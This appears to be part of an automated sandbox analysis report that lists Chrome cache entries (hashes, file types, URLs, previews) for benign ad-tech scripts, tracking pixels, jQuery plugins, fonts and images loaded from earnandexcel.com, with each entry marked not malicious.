.cookie-notice-container,#cookie-notice.cookie-revoke-hidden .cookie-revoke-container{display:none}.cn-position-top{top:0}.cn-position-bottom{bottom:0}.cookie-notice-contai

Chrome Cache Entry: 612

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 613

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (577), with no line terminators
Category:	downloaded
Size (bytes):	577
Entropy (8bit):	5.4993716004403685
Encrypted:	false
SSDEEP:	12:C35JHlhpyJEpTa13zOSCH8JEpTC831Ahz5RmguxJEpTa135MD/JEpTAkDp:CpJHvpa1jOSCV5YPm0a1Cgtp
MD5:	EA1C05677854B0542EFC7892A121438F
SHA1:	E30A612286611DDED0A3CFB039D9BA85D4A2E281
SHA-256:	D5BDC6CAABD6592E37294D466012726FB4B47B29FC83DEAA9A47529DBCFB99CF
SHA-512:	D3A75317BDDF42D9D5C740EAD8A1C88867795D4CD42EEA8879C466F1B173C7233EE9DB8DFD3A3E2A6A7AEB1702D1C5B87D13C56FFA4D481EB8B94A250BD5B6BB
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=20921452&p=137711&s=137812&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://bpi.rtactivate.com/tag/?id=20909&user_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://i.liadm.com/s/75145?bidder_id=195755&bidder_uuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3');PubMatic.loadAsyncImagePixel('https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://io.narrative.io/?companyId=673&id=pubmatic_id:25F9549E-136A-47E9-9171-DA44C0E0D5E3.');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 614

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5019), with no line terminators
Category:	downloaded
Size (bytes):	5019
Entropy (8bit):	5.339263537853696
Encrypted:	false
SSDEEP:	96:1qUj+X4+bADZfCpMCLwXtJA7UAhjRc8bkIZ1G5KDLCQMC52IAqszW0SC7wPCeOp:hj+X4+bADZfC6CLwX7OUmiv2s5+LCQMh
MD5:	A15DE6303A9F1878D28D820FF5686071
SHA1:	C51D245CADA9BCE6B1738FD6F27B815D90A997DD
SHA-256:	0BCBDD9AF31875D6529F346C5ED0428DD5938291C8EA07C4E99C922F09D841F4
SHA-512:	A4C76B716EF87C63D1C9C28C6E0B5867B45B119244211ADFA7CAD1D6A9584F14EA3938078F10B4013ED472ABFF5EDD3283405799DEC112B93C7B5D9F88B727B5
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/3322/e409bdd86dfaf7dc2c47.min.js
Preview:	(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[3322],{8078:e=>{e.exports=function(){!function(e,t,a,n,i,s,o){function r(a,n){t[e]._Q.push([a,n])}t[e]\|\|(t[e]={init:function(){r("i",arguments)},fetchBids:function(){r("f",arguments)},setDisplayBids:function(){},_Q:[]},(s=a.createElement(n)).async=!0,s.src="//c.amazon-adsystem.com/aax2/apstag.js",(o=a.getElementsByTagName(n)[0]).parentNode.insertBefore(s,o))}("apstag",window,document,"script")}},7344:(e,t,a)=>{"use strict";a.d(t,{i:()=>n});var n=(e=>(e[e.GOOD=1]="GOOD",e[e.NO_BID=2]="NO_BID",e))(n\|\|{})},3322:(e,t,a)=>{"use strict";a.r(t),a.d(t,{AMAZON_CODE:()=>s,AmazonAdapter:()=>o});var n=a(3583),i=a(9689);const s="3229";class o extends i.AmazonBase{callBids(e,t,a){const s=this.createAmazonAdUnits(e);this._window.apstag.fetchBids({slots:s},(e=>{i.AmazonBase.AmazonTargeting={},s.forEach((a=>{var s,o;const r=e.find((e=>e.slotID===a.slotID));if(!r\|\|!this.isValidAmznp(r.amznp,r.amznbid,this.model))return;const d=a.adUnitCode,c=super.cre

Chrome Cache Entry: 615

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 616

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (602), with no line terminators
Category:	downloaded
Size (bytes):	602
Entropy (8bit):	5.144819130856658
Encrypted:	false
SSDEEP:	12:2JqxH0TBm4pM86VVC05Zs5ohgwML9cVvHGNZtYETL51V6/kVodQXvloub:2JZNfm8uVCxwgxkHEZ1V6/Oflok
MD5:	462427501E08842639B53D3F5B33B133
SHA1:	66804B15EFAFF86C20C370A4A8E0756B0B0B33B4
SHA-256:	130D606A15389A5AE2B7D37478BA03EB981228FC31E64C041973282AB3DED699
SHA-512:	2DF62D7F21095C3E572438114C2A512ED81C30AF92D7CED217A56EC0B7EDFC8D7F61DBFC547D0A42542C5EF92B2CDDD2437DAAFFF35D81A34378FC6D2EC2F6BB
Malicious:	false
Reputation:	low
URL:	https://config.aps.amazon-adsystem.com/configs/38918095-8e45-4332-88bf-226b3514cb64
Preview:	(function () {try {const accountId = "38918095-8e45-4332-88bf-226b3514cb64";window._aps = window._aps \|\| new Map();if (!_aps.has(accountId)) {_aps.set(accountId, { queue: new Array(), store: new Map() });}function record(name, detail) {_aps.get(accountId).queue.push(new CustomEvent(name, { detail: detail }));}} catch (e) {console.error(e);}try {record("_config/requestViewerCountry/define", {"code": "US"});record("analytics/sampling/set", {"rates": {"error": 0.001, "status": 0.0001}});record("google/secureSignals/set", {});record("_config/config/didLoad", {});} catch (e) {console.error(e);} })();

Chrome Cache Entry: 617

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65460)
Category:	downloaded
Size (bytes):	112331
Entropy (8bit):	5.302393036592574
Encrypted:	false
SSDEEP:	3072:+jWeT0T6s8Vm1Z9xZ2UN1A6JSYHqPu85mIiQ:2WeT0T6s8Vm1Z386JSYKPu8Y5Q
MD5:	8879E97BD2F8A9F8BE38AAAC0F948CF3
SHA1:	E1BA07E99561DCE464407B457D9702DE96E02C98
SHA-256:	5E3D9E61D2720C065FB7A6F05E47A95EEE83668D77464F448BCF86494B09D6FB
SHA-512:	462647330831EE4CFDA1F16CFDBAD3EC52F0E5C3E5C66A7487F0F1188146583FB3E1CAEF3D4353F901E790923392F20B337A4E5C3DD9CE9C0F08B44601A1D620
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/648.075f13d4.chunk.js
Preview:	/! For license information please see 648.075f13d4.chunk.js.LICENSE.txt /.(self.webpackChunk_mediavine_faves_ui=self.webpackChunk_mediavine_faves_ui\|\|[]).push([[648],{8840:(e,t,n)=>{"use strict";n.d(t,{c:()=>o});const o=function(e){return"string"===typeof e}},9892:(e,t,n)=>{"use strict";var o=n(6848);t.c=void 0;var r=o(n(7988)),i=n(2792),a=(0,r.default)((0,i.jsx)("path",{d:"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"}),"Close");t.c=a},7552:(e,t,n)=>{"use strict";n.d(t,{c:()=>v});var o=n(8940),r=n(5307),i=n(1580),a=n(7824),l=n(7692),c=n(9032),s=n(1456),d=n(8272),u=n(4844);function p(e){return(0,u.cp)("MuiBackdrop",e)}(0,n(1028).c)("MuiBackdrop",["root","invisible"]);var m=n(676);const f=["children","component","components","componentsProps","className","invisible","open","transitionDuration","TransitionComponent"],h=(0,c.cp)("div",{name:"MuiBackdrop",slot:"Root",overridesResolver:(e,t)=>{const{ownerState:n}=e;return[t.root,n.i

Chrome Cache Entry: 618

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	134
Entropy (8bit):	5.675643108705523
Encrypted:	false
SSDEEP:	3:YW/TDtqGW7PwVUVBKJwlCnnyP99GE3nglr+1WGg8PRn:YWrDYCUGOAyPjGE3n+rstXJn
MD5:	E6AFD886FCF1A40D873898FD7247C17E
SHA1:	2D6970FEE8AB40DD3B844B30BE4E2F7A6B787B0C
SHA-256:	A6246F65FB20F3F272A4E8F548BC279DCAEDD252EC6A6A7EE34C6D753A36224E
SHA-512:	20562C644599EFED3F5093C910B08E1B3A37330C656FF5C03655A0EBFBCEF4C959FEF39BDE9843E0549E6EDE8EF281DC7050D39B0D060ADE1C4043211250454B
Malicious:	false
Reputation:	low
URL:	https://pdmp.papi-public.us-east-1.tagger.opecloud.com/v1/targeting?url=https%3A%2F%2Fearnandexcel.com%2F&fpid=206267d9-9ab6-4813-85fd-6fa35eafc3ec&tenant=b4
Preview:	{"s":"8TQ1jrjhVHOCrHvzu9sp3OgiiM3OUi6sxP2a0dfsxneHhws0B5lL","t":"bWQE+SvXaqcYsRqRBdim9koZdJ6tN0+O5hC/1yxX6V3VvA==","kid":2,"ttl_s":67}

Chrome Cache Entry: 619

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6595), with no line terminators
Category:	downloaded
Size (bytes):	6595
Entropy (8bit):	5.001833104960226
Encrypted:	false
SSDEEP:	192:y4C8yiXSZPQfaNkLjEMHJx8vqOS5Z3N71jgiqM1xocYjtCDIoiL3:y4xyiXSZPVNkvEMHf8itN71ciqM16c9k
MD5:	E16A8821E5F099C3A619889EA7CF0399
SHA1:	A38E0C736AAF0B019B29B63B00E68C1381502217
SHA-256:	A48DEA362116D7516A2CF97066A32758D353760EE02DBF900DDFF86B02A16473
SHA-512:	41CF1EABFCD3B4752EE9FD1A7E7F5719249053BCAD871254A9D9821E016B40A2FBC29797DC14035CDA01628FAD879C2FDA47337853219F31250B9C7020D43CFE
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js
Preview:	(function($){var Sticky=function(element,userSettings){var $element,isSticky=false,isFollowingParent=false,isReachedEffectsPoint=false,elements={},settings;var defaultSettings={to:"top",offset:0,effectsOffset:0,parent:false,classes:{sticky:"sticky",stickyActive:"sticky-active",stickyEffects:"sticky-effects",spacer:"sticky-spacer"}};var initElements=function(){$element=$(element).addClass(settings.classes.sticky);elements.$window=$(window);if(settings.parent){if("parent"===settings.parent){elements.$parent=$element.parent()}else{elements.$parent=$element.closest(settings.parent)}}};var initSettings=function(){settings=jQuery.extend(true,defaultSettings,userSettings)};var bindEvents=function(){elements.$window.on({scroll:onWindowScroll,resize:onWindowResize})};var unbindEvents=function(){elements.$window.off("scroll",onWindowScroll).off("resize",onWindowResize)};var init=function(){initSettings();initElements();bindEvents();checkPosition()};var backupCSS=function($elementBackupCSS,backup

Chrome Cache Entry: 620

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3787
Entropy (8bit):	4.939975689512093
Encrypted:	false
SSDEEP:	96:TtY/nW9IgFyxB62ygeQK9yArlo8hLo2neYCkh:TmfW2ZBCg5K9yArK8hLo2eUh
MD5:	6A414B257267A883C6DD13B3C66B8596
SHA1:	23139E09437311E7BBF70B9E372C1E4CCAA31F65
SHA-256:	95AF163892829A3EF249441B70B2C8281B845EDEA4B24680D3326486861D6082
SHA-512:	399FDED31D714FCF9F81399E2D9774E0A6A33FB0298E446E1FC755BF423D90BB1C22ED246F6928ED375F33EB89A66854541CFC645BF05360E3C0544525471E70
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/ele-custom-skin/assets/js/ecs_ajax_pagination.js
Preview:	jQuery( document ).ready(function() {. jQuery( ".ecs-load-more-button" ).each(function() {. widget=jQuery(this);. settings = widget.attr("data-settings");. args = JSON.parse(settings);. widget.children( ".elementor-button" ).attr("href", "javascript:ECS_load_next_page('"+ args.widget_id +"');");. });.});.var canBeLoaded = true; // this param allows to initiate the AJAX call only if necessary...function ECS_load_next_page(id){.. widget = jQuery(".elementor-element[data-id='" + id + "'] .ecs-posts");. settings = widget.attr("data-settings");. args = JSON.parse(settings);. . posts = jQuery(".elementor-element[data-id='" + args.widget_id + "'] .ecs-posts");. . if(args.load_method == 'loadmore'){. button_text = jQuery(".elementor-element[data-id='" + args.widget_id + "'] .ecs-load-more-button .elementor-button");// add this .elementor-element[data-id='" + args.widget_id + "']. button = jQuery(".elementor-element[data-id='" + args.widget_id + "'] .ecs-load-more-but

Chrome Cache Entry: 621

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 622

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	17300
Entropy (8bit):	5.455047764053648
Encrypted:	false
SSDEEP:	192:AkowkOFkbkwukl7ld7Qo7p7tP7SQlcQjAtqS7lHQYrtNSGlaQh2tsS5l9QuptXSf:A1wJFuW6JdUoF15bqwqp2mOXqs6FOiB
MD5:	45A737FF1018118D86FFE4FFC63986EE
SHA1:	73990FEF80BB157522C5FF5D33C35234227FAE36
SHA-256:	4E4A16629D1483012FD59F780908C997BF249DB4800D090F747DB0CF1D97E7EB
SHA-512:	69C2BC1286E506592BAD76F1888BF39BB48D5A3833466F111C53928C3579A4D95BE0FE355352024574C015D086836F6B4B6598CBB528934FDB38F5F590440706
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Montserrat:100,200,300,400,400i,500,600,700,800,900"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Montserrat';. font-style: italic;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq6R9WXV0poK5.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Montserrat';. font-style: italic;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq6R9WXx0poK5.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese */.@font-face {. font-family: 'Montserrat';. font-style: italic;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUFjIg1_i6t8kCHKm459Wx7xQYXK0vOoz6jq6R9WXd0poK5.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+0329,

Chrome Cache Entry: 623

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://ipac.ctnsnet.com/int/cm?exc=14&redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MTEmdGw9MjAxNjA=&piggybackCookie=[user_id]
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 624

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13534), with no line terminators
Category:	downloaded
Size (bytes):	13534
Entropy (8bit):	5.26908483350061
Encrypted:	false
SSDEEP:	384:GXYeO76PHBXiHc49GVnWCaKX0TulQxaLJW48D:UYeO6PFiHcZVWBg0TulQxUJW48D
MD5:	ABB142824B55F4ACB7BCC829E62DC8A2
SHA1:	2E92B5D24A7F97C6851CBC5607E247230366B560
SHA-256:	6FEEDEE0B3FF656231324E97F80EAC7FEB981BA46B89187F0DAAA9E058E6F6B9
SHA-512:	617BA34CC086259D2DF9683A8347ECF262E3F0A3E7517B9FDCBEBCC02CB9AB6AE8D9CAC6052428A77D63346D31BB76AF037454CD12E59B75B374DCE29753995F
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/6409/9a4878ce647526870d8c.min.js
Preview:	"use strict";(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[6409],{8001:(e,t,n)=>{n.d(t,{G:()=>i});var i=(e=>(e.title="title",e.body="body",e.sponsoredBy="sponsoredBy",e.displayurl="displayurl",e.icon="icon",e.image="image",e.clickUrl="clickUrl",e.cta="cta",e.video="video",e))(i\|\|{})},6409:(e,t,n)=>{n.r(t),n.d(t,{getTemplate:()=>Oe,getTemplateName:()=>We});var i=n(5595),a=n(3528),r=n(6039),o=n(2978),l=n(8001);const d={"grid-area":"content",margin:0,display:"grid","grid-template-areas":"'icon content'","font-size":"12px !important","line-height":"1.2 !important","column-gap":"4px","align-items":"center"},p={"font-size":"12px","font-weight":300,margin:0,"text-decoration":"none",color:"#555"},s={margin:0,"font-style":"italic"},c={"grid-area":"icon",overflow:"hidden",height:"32px",width:"32px","border-radius":"1000px",margin:0},g=()=>`\n <div style="${(0,o.W)(d)}">\n <div style="${(0,o.W)(c)}">\n <img data-native-min-size="[100, 100]" data-native-type="${l.G.icon}" /> \n

Chrome Cache Entry: 625

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 117 x 115, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18763
Entropy (8bit):	7.984583055197503
Encrypted:	false
SSDEEP:	384:OaRu5zcSv0bewcpID4v+WvxBKBQEsxPSmY1pkYZkbvnEENNBaK6abp:OaRu5zl0bNjyBrEQDY1mHbcEAVat
MD5:	25AD60677EC1E9B8BE5B073A71A052CF
SHA1:	A1C0473F294CB2E121D716345D6A234AD92FCA4F
SHA-256:	E6DA4EEA8A0C97D93AFE85A76F6077195EB109A7F7ACFC041C6FF304D36A6630
SHA-512:	217B73095A1465D4F1C89DEA19A1AF8518562103C793340A46164B3BCA631EAA85BE7DA789340D82EEA5914EC8F69D9CD5B281B8FB1AF8D6A78151764D4C0092
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...u...s......]M.....tEXtSoftware.Adobe ImageReadyq.e<..H.IDATx..y.].....}...zA7..D.$.S.%.ZF.@.lK....qMe.[T&...R...?..'.<.2.JJ...&..!5e.5.hHJ......IpC..A.$......^oo..s..}...R....%.QO.....;......K.K.K.K.K.K.K.K.K...._.....k...\|#.b.a..E..0...)Da0..A..jh..{n...KB}............G/....[........1..eDQD............@.E...AB.#i.^.......b..X...~.s............8u.....VagO...M..!......D#=D....&.{...=z..4I..\|.....uCA.!...z.....^.......I......5uI...m...'....6...t...~n.~....s...$..\|.B%BU...1V.==...'.j..l.a....tp....k....J..bQ.......i.(.A..........w&.o..y..._..$....\|..Z._.u.{.R..=.>.......4.F...e.../1.+K.....<..O?...9....B....X][..."\|?...=E.-`ht.W..7..C..4.b.....A...n.{7=~..O\|o_....._..}.\|...v....=.y..k..f.......M..O....qff.Lk.F.LYQ2..b..]w#FF.q...p...8}.$Z.-6..*.C...g....Hc.."....[...O~....OB..=...LxH.B.J...,....r.4U,...{.=.....KB..^:<....w.ul..=..v;X]Y..........7173....".d..k+.....'.O....U.l....,L.y.H....9.%...(..9..$...Q`.'..#,..s.}.=.B1

Chrome Cache Entry: 626

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31915)
Category:	downloaded
Size (bytes):	49799
Entropy (8bit):	5.254170167447835
Encrypted:	false
SSDEEP:	768:5dzeOOvKSjy1Z0L9JejEWaEG10GzhK8OiovJhLMiVj13cKZqYuo3YNuAN7W67Q0B:5DrGzK0yMiV9cKZqYuoe14txOf
MD5:	1937FF810AB2BCC71B35A944C55324EA
SHA1:	4127E32329C42E0228E2FBAB3C195DD7ED521FEC
SHA-256:	C35E10149AF13989149C5D216FCA551424A061CB05D213082ABA866FC03B27C0
SHA-512:	D4EEEB300CFC98710E5D13F30CA9BF6AD8611E9FC3A2D94AE44CD9D6A960D9B7DEE5B0534B4AE058CD9BBD5DED756A1D4DD5FD1DCB6F820ABDE70CC5A208BDC1
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/lightGallery/js/lightgallery-all.min.js
Preview:	/! lightgallery - v1.6.12 - 2019-02-19. http://sachinchoolur.github.io/lightGallery/.* Copyright (c) 2019 Sachin N; Licensed GPLv3 */.!function(a,b){"function"==typeof define&&define.amd?define(["jquery"],function(a){return b(a)}):"object"==typeof module&&module.exports?module.exports=b(require("jquery")):b(a.jQuery)}(this,function(a){!function(){"use strict";function b(b,d){if(this.el=b,this.$el=a(b),this.s=a.extend({},c,d),this.s.dynamic&&"undefined"!==this.s.dynamicEl&&this.s.dynamicEl.constructor===Array&&!this.s.dynamicEl.length)throw"When using dynamic mode, you must also define dynamicEl as an Array.";return this.modules={},this.lGalleryOn=!1,this.lgBusy=!1,this.hideBartimeout=!1,this.isTouch="ontouchstart"in document.documentElement,this.s.slideEndAnimatoin&&(this.s.hideControlOnEnd=!1),this.s.dynamic?this.$items=this.s.dynamicEl:"this"===this.s.selector?this.$items=this.$el:""!==this.s.selector?this.s.selectWithin?this.$items=a(this.s.selectWithin).find(this.s.selector):this

Chrome Cache Entry: 627

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 480x304, components 3
Category:	downloaded
Size (bytes):	18362
Entropy (8bit):	7.9716969867067204
Encrypted:	false
SSDEEP:	384:ZD2/QRNud0RBVDeBjcvVIygyh4YI6nkuvMVYcjfuzCDiV:ZDlRNuYViBIt7gs4puvTcDGCDiV
MD5:	CDA7CFDD8141640AB5179AD576EED7D2
SHA1:	4C5399108399FF01E2900A76FDE86400B941C668
SHA-256:	ABAF358528BA38212B28EDAF890BFBD20E2D7C9DA775FECBC6C94C9907096DBD
SHA-512:	32161A58CC6506C4A7D4056F078C04F3CA2002BF194958407FBCE747C5F372EC09AF670AFD0A453AB19796A59CF5A5E6EBCDF59F4E36294EDEBC479BBEDC6CFD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/Excel-VBA-2-2-480x304.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......0...."........................................^...........................!1.AQ......"Raq......2BDSUt...#$5CETVbsu..%3467er..&cd...'Ff....................................7.......................Q...!1.A"Rq#23a......$B..4Sr..............?..D )1I..->...c.yo"...............R'dn.....\.br...ev..M.].y..LWJ.9.H.-...c..]..;..+............#...+.Ny.a\.....C.X....B..".95ee..z.s6-y"..6......AQ..c$.+..^.B..8..4...}CC...l+3\.I...).r.yG-d.^...9biO.S".........F.g,.,o.O..N@..[.f...6+.$mtB.\.%A.@.X]k.-.=B.?....d.p~I..50..l.5.I0..t.:N....F.8.lJ......Y...Y.vg.9o....%..[QT.&...52.$.;.....h........uS-+.6.6.k&.'j.%P.;Tt...v.....c..i..Q..w....u...u......VX.!I...... ..K.j...V.F".&..ct..a..D.I...N..4...3.V.Sp.$.../.J.V..d.mk....;P.i.p......]e.W..U.>..........9D...M.o...,.1..t......-...p......\|..j...f.l.\

Chrome Cache Entry: 628

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 629

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	166
Entropy (8bit):	4.646977774089584
Encrypted:	false
SSDEEP:	3:RAM8HpRBEBc2LGRFl8F5d7IFRZV1vEnDpc3M4L7/p0aERE8JHAjOmNn:z8HpULI8FfMFlu9cBH/p0a4fJHA3n
MD5:	B9D8C5E40941706F1BDB1BFDF6D8E9D2
SHA1:	42F24FAD4D0A014952D3DE2FFEB7EFEFBDC58C71
SHA-256:	83219094198BD0257FB0F02A78D5FA5337B6F4CD47E2D451C088E1B719F4C8BA
SHA-512:	27B5F25150E15C081612EAF73831CDC020EA2CDCD986E34D331EEFA7E69EA48ACEA4F6B804C52CFCB6480FE7B446E0CEDB3F5C88541FCDDB04D7D0075FBC5A51
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/tutor/archive.min.js
Preview:	jQuery(document).ready(function(t){"use strict";t("#course-sorting-select").on("change",function(e){var n=t(this).find(":selected").data("url");window.location=n})});

Chrome Cache Entry: 630

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073053&val=sonznUQRSOx4xPFYmKH8yXtY0yq6_MGtNjthouK4crQ&pi=openx&gdpr=0
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 631

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49239), with no line terminators
Category:	downloaded
Size (bytes):	49239
Entropy (8bit):	5.048131506554461
Encrypted:	false
SSDEEP:	768:YycMOMF5s+x24ThAHnrkRdbDuZl12I/delVXaeBxVMWOLxy86:YttMFedZTPePvh
MD5:	07D28C7E20A72BBA4DE128B7240C57A9
SHA1:	114D486DEA95573B80AF34B772BE61588E6D0ACF
SHA-256:	B9230874771C556BE6A69D68A4FEAD4D5E9D9849F6EA12C36325B34A41A8AF54
SHA-512:	75990C1F7001D4FA0210DDF8DB95A4B6DF978A24274B611BAEA1B44A99825516AF9CE9D2BA514243CE411B966894F3FCBEB22A618E89F604B74C7C8B767D7899
Malicious:	false
Reputation:	low
